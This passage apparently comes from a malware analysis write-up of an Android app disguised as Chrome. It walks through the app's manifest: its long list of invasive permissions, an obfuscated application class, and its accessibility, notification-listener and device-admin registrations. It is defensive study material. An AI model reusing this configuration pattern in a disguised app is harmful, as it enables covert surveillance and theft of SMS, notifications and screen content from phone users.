&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_LAUNCH_BROADCASTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REQUEST_DELETE_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACTION_MANAGE_OVERLAY_PERMISSION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CALL_PHONE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_SETTINGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_BACKGROUND_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.QUICKBOOT_POWERON&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECORD_AUDIO&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.FOREGROUND_SERVICE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BLUETOOTH&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.GET_ACCOUNTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CHANGE_NETWORK_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CLEAR_APP_CACHE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INTERNET&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_CONTACTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_PHONE_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_COARSE_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INSTALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.QUERY_ALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_FINE_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_PHONE_NUMBERS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.SYSTEM_ALERT_WINDOW&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_CONTACTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REORDER_TASKS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CHANGE_WIFI_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REQUEST_INSTALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_PHONE_NUMBERS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.DISABLE_KEYGUARD&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.SEND_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.MODIFY_AUDIO_SETTINGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.VIBRATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The malware asks for the above permissions. An explanation for each permission can be found &lt;a href="https://developer.android.com/reference/android/Manifest.permission">here&lt;/a>.&lt;/p>
&lt;h4 id="declaration-of-the-application">Declaration of the Application&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;application&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:label=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/app_name&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:icon=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@mipmap/ic_launcher&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.bean.cousin.RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:allowBackup=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:hardwareAccelerated=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:largeHeap=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:supportsRtl=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:extractNativeLibs=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;false&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:usesCleartextTraffic=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:roundIcon=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@mipmap/ic_launcher_round&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:appComponentFactory=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;androidx.core.app.CoreComponentFactory&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/application-tag.png" alt="application-tag">&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:label=&amp;quot;@string/app_name&amp;quot; android:icon=&amp;quot;@mipmap/ic_launcher&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>In &lt;code>res/values/strings.xml&lt;/code> the value of &lt;code>app_name&lt;/code> is Chrome and uses the Chrome&amp;rsquo;s icon found in &lt;code>res/mipmap-*/ic_launcher.png&lt;/code>.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:name=&amp;quot;com.bean.cousin.RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>The fully qualified name of the application is &lt;code>com.bean.cousin.RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&lt;/code>. When the application process is started, this class is instantiated before any of the application&amp;rsquo;s components.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:allowBackup=&amp;quot;true&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>The application also allows its files to be included in the backup and restore operation.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:hardwareAccelerated=&amp;quot;true&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>Hardware-accelerated rendering should be enabled for all activities in the application.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:largeHeap=&amp;quot;true&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>The application process should be created with a large Dalvik heap.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:supportsRtl=&amp;quot;true&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>Right-to-Left (RTL) is supported.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:extractNativeLibs=&amp;quot;false&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>Native libraries are stored uncompressed in the APK.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:usesCleartextTraffic=&amp;quot;true&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>The malware intends to use plain HTTP requests.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android:appComponentFactory=&amp;quot;androidx.core.app.CoreComponentFactory&amp;quot;&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>AndroidX library is used.&lt;/p>
&lt;blockquote>
&lt;p>Therefore, upon launch, the &lt;code>com.bean.cousin.RRjCqKwZyTjTiHoWhXqQuHwTzBoOmYxSyNrAbIyYbIqAh&lt;/code> will be instantiated first.&lt;/p>
&lt;/blockquote>
&lt;h4 id="accessibility-service">Accessibility Service&lt;/h4>
&lt;p>More info: &lt;a href="https://developer.android.com/reference/android/accessibilityservice/AccessibilityServiceInfo">https://developer.android.com/reference/android/accessibilityservice/AccessibilityServiceInfo&lt;/a>&lt;/p>
&lt;ul>
&lt;li>&lt;code>android.permission.BIND_ACCESSIBILITY_SERVICE&lt;/code>&lt;/li>
&lt;li>&lt;code>android.accessibilityservice.AccessibilityService&lt;/code>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:label=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/app_name&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.service.AppAccessibilityService&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_ACCESSIBILITY_SERVICE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;false&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.accessibilityservice.AccessibilityService&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;meta-data&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.accessibilityservice&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:resource=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@xml/accessibilityservice&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/service&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/accessibility-service.png" alt="accessibility-service">&lt;/p>
&lt;p>The related &lt;code>res/xml/accessibilityservice.xml&lt;/code> file contains:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8ec07c">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;accessibility-service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">xmlns:android=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;http://schemas.android.com/apk/res/android&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:description=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/accessibility_service_description&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:accessibilityEventTypes=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;typeAllMask&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:accessibilityFlags=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;flagReportViewIds|flagRequestTouchExplorationMode|flagIncludeNotImportantViews|flagDefault&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:canRetrieveWindowContent=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:canPerformGestures=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>android:accessibilityEventTypes=&amp;quot;typeAllMask&amp;quot;&lt;/code>:
Receives all events ( &lt;code>AccessibilityEvent.TYPES_ALL_MASK&lt;/code> )&lt;/p>
&lt;p>&lt;code>android:canRetrieveWindowContent=&amp;quot;true&amp;quot;&lt;/code>:
The accessibility service is able to retrieve the active window content.&lt;/p>
&lt;h4 id="notification-service">Notification Service&lt;/h4>
&lt;p>The application registers a service that receives calls from the system when new notifications are posted or removed, or their ranking changed.&lt;/p>
&lt;ul>
&lt;li>&lt;code>android.permission.BIND_NOTIFICATION_LISTENER_SERVICE&lt;/code>&lt;/li>
&lt;li>&lt;code>android.service.notification.NotificationListenerService&lt;/code>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.service.NotificationService&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_NOTIFICATION_LISTENER_SERVICE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:enabled=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;false&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.service.notification.NotificationListenerService&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/service&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="./media/notification-service.png" alt="notification-service">&lt;/p>
&lt;h4 id="device-admin">Device Admin&lt;/h4>
&lt;p>More info: &lt;a href="https://developer.android.com/guide/topics/admin/device-admin">https://developer.android.com/guide/topics/admin/device-admin&lt;/a>&lt;/p>
&lt;ul>
&lt;li>extends &lt;code>DeviceAdminReceiver&lt;/code> class&lt;/li>
&lt;li>&lt;code>android.permission.BIND_DEVICE_ADMIN&lt;/code> permission&lt;/li>
&lt;li>&lt;code>android.app.action.DEVICE_ADMIN_ENABLED&lt;/code> action the application must handle&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;receiver&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.devapprove.a.ru.news.MyAdminReceiver&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_DEVICE_ADMIN&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;meta-data&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.device_admin&amp;#34;&lt;/span>
